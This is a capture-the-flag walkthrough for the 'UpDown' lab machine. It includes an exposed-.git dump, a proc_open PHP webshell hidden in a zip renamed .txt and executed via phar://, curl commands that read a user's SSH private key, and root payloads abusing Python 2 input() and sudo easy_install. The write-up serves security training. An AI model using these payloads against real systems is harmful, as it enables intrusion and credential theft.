Post

UpDown

An exposed .git directory leaks an .htaccess rule requiring a custom Special-Dev header to reach a dev vhost whose file upload accepted zip-inside-.txt archives executable via the phar:// PHP stream wrapper, giving RCE as www-data and eventually root via a SUID Python2 binary and sudo easy_install.

UpDown

Overview

UpDown is a medium-difficulty Linux machine. Enumeration reveals an exposed .git repository on the main site that leaks a secret .htaccess rule; following those breadcrumbs to a dev vhost exposes a file upload vulnerable to phar:// PHP stream wrapper abuse — a PHP shell hidden inside a zip renamed .txt executes as www-data. From there, the developer’s unprotected SSH private key is read via proc_open, providing SSH access, and root is reached through a SUID Python 2 binary whose input() call evaluates arbitrary expressions, with sudo easy_install as a backup GTFOBins path.

Machine Matrix

Enumeration Real-Life CVE Custom Exploitation CTF-like

High Enumeration and Real-Life axes reflect multi-layer vhost and source-code discovery against misconfigurations that are common in real production deployments; the non-zero CTF-like score reflects the phar:// race condition trick and the Python 2 input() eval path.

Recon

PortServiceNotes
22/tcpOpenSSHRemote access
80/tcpApache httpdsiteisup.htb — site availability checker
1
2
nmap -p- --min-rate=1000 -T4 -Pn 10.10.10.X
nmap -p22,80 -sC -sV -Pn 10.10.10.X

Port 80 hosts a simple site-availability checker at siteisup.htb; the .git directory being web-accessible is the critical finding that unlocks the entire chain.

Enumeration

Add the discovered hostnames to /etc/hosts first:

1
echo "10.10.11.177 siteisup.htb dev.siteisup.htb" >> /etc/hosts

Probe for an exposed .git directory on the main vhost:

1
curl -s http://siteisup.htb/.git/HEAD

The response ref: refs/heads/main confirms the .git directory is publicly accessible (CWE-200). Dump the full repository:

1
git-dumper http://siteisup.htb/.git/ ./dump

Read the .htaccess from the dumped source:

1
cat dump/.htaccess

The .htaccess contains a SetEnvIfNoCase Special-Dev "only4dev" Required_Header directive gating access to dev.siteisup.htb. Confirm the dev vhost is reachable with the required header:

1
curl -H "Special-Dev: only4dev" http://dev.siteisup.htb/

The dev vhost exposes a file upload feature. Reading the dumped PHP source shows it blacklists common executable extensions (.php, .php3, etc.) but does not validate file contents — .txt files are accepted without inspection.

Foothold

Create a PHP webshell using proc_open (the un-blocked execution function) and package it inside a zip archive:

1
2
3
4
5
6
7
8
cat > shell.php << 'PHPEOF'
<?php
$d=array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w"));
$p=proc_open($_REQUEST["cmd"],$d,$pipes);
echo stream_get_contents($pipes[1]);
proc_close($p);
?>
PHPEOF
1
zip shell.zip shell.php
1
mv shell.zip shell.txt

Upload the renamed archive to the dev vhost:

1
curl -H "Special-Dev: only4dev" -F "[email protected]" http://dev.siteisup.htb/

The upload directory is named after md5(time()) — capture the hash from the response or brute-force it by timestamp. Then trigger execution via phar:// path traversal (PHP treats phar:// as a stream wrapper that extracts and executes PHP found inside a zip, regardless of the .txt extension):

1
2
3
UPLOAD_HASH="<md5_from_response>"
curl -H "Special-Dev: only4dev" \
  "http://dev.siteisup.htb/?page=phar://uploads/${UPLOAD_HASH}/shell.txt/shell&cmd=id"

Successful output (uid=33(www-data)) confirms RCE as www-data.

User flag

The developer’s SSH directory is readable by www-data (CWE-284). Exfiltrate the private key:

1
2
curl -H "Special-Dev: only4dev" \
  "http://dev.siteisup.htb/?page=phar://uploads/${UPLOAD_HASH}/shell.txt/shell&cmd=cat+/home/developer/.ssh/id_rsa"

Save the key locally and SSH in as developer:

1
2
chmod 600 /tmp/developer_rsa
ssh -i /tmp/developer_rsa [email protected]

Retrieve the user flag:

1
cat ~/user.txt   # HTB{...}

Landed as developer via the exfiltrated SSH key and the user flag is ours.

Privilege Escalation

Check for SUID binaries and sudo permissions:

1
find / -perm -4000 -type f 2>/dev/null
1
sudo -l

Two paths to root are available:

Path A — SUID Python2 input() eval (CWE-78, CWE-676):

/usr/local/bin/siteisup is a SUID binary compiled from Python 2 that calls input(). In Python 2, input() evaluates its argument as a Python expression — this is code injection by language design. Inject an OS command:

1
echo "__import__('os').system('id')" | /usr/local/bin/siteisup

Path B — sudo easy_install GTFOBins (CWE-269):

sudo -l shows (ALL) NOPASSWD: /usr/local/bin/easy_install. Since easy_install executes a setup.py file as root, this is equivalent to sudo python. Use a temp directory to deliver the payload:

1
TF=$(mktemp -d)
1
2
3
4
5
cat > $TF/setup.py << 'PYEOF'
import os
os.system("cat /root/root.txt > /tmp/rootflag")
os.system("chmod 644 /tmp/rootflag")
PYEOF
1
sudo easy_install $TF

Root flag

1
cat /tmp/rootflag   # HTB{...}

(Or via the SUID path: echo "__import__('os').system('cat /root/root.txt')" | /usr/local/bin/siteisup)

Full root compromise achieved via sudo easy_install executing arbitrary Python as root — UpDown is fully pwned.

This post is licensed under CC BY 4.0 by the author.